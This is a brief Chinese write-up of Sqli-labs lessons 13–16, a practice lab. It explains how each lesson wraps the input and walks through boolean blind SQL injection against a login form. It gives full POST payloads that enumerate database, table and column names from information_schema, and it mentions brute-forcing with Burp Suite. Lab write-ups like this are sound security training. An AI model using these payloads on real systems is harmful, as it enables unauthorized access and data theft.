Sqli-labs——lesson13-16

这几关呢有很大的相似点，就是包裹方式的不同:

lesson13:('admin')

lesson14:''admin''

lesson15:'admin'

lesson16:("admin")

采用布尔盲注步骤：

1、先用or语句判断

最基础的先用or 1=1，记住参数admin一定要写错才能判断后面的。

然后在确定语法正确的条件上，用or +length来判断数据库名，用二分法得出其长度为8

 2、然后判断数据库名，结合burpsuit来爆破名字

uname=admin&passwd=ad' or left((select schema_name from information_schema.schemata limit 0,1),1)='u'#&Submit=Submit

3、判断表名

uname=admin&passwd=ad' or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='x'#&Submit=Submit

4、判断列名

uname=admin&passwd=ad' or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='x'#&Submit=Submit